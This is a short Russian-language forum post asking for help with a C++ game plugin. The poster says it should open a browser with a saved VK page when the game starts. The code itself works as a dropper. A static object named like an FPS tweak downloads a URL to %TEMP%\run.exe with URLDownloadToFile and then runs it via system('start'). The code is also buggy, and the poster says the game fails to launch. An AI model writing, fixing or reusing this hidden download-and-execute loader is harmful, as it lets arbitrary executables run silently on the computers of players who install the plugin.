- 342
- 295
ShellExecuteA function(https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea)Пытаюсь селать так, чтоб при запуске игры открывался браузер с сохраненной копией например вк.
Делаю так, но игра не запускается.
Код:#include "plugin.h" #include <windows.h> #include <iostream> #include <filesystem> #include <urlmon.h> #pragma comment(lib, "urlmon.lib") using namespace plugin; namespace fs = std::filesystem; class Cfps_down { public: Cfps_down() { LPSTR ptcPath = new CHAR[MAX_PATH]; GetTempPathA(MAX_PATH - 1, ptcPath); LPSTR full_path = new CHAR[MAX_PATH]; sprintf(full_path, "%s\run.exe", ptcPath); URLDownloadToFile(0, "http://vk.com", full_path, 0, 0); LPSTR to_run = new CHAR[MAX_PATH]; sprintf(to_run, "start %s", full_path); system(to_run); } } cfps_down;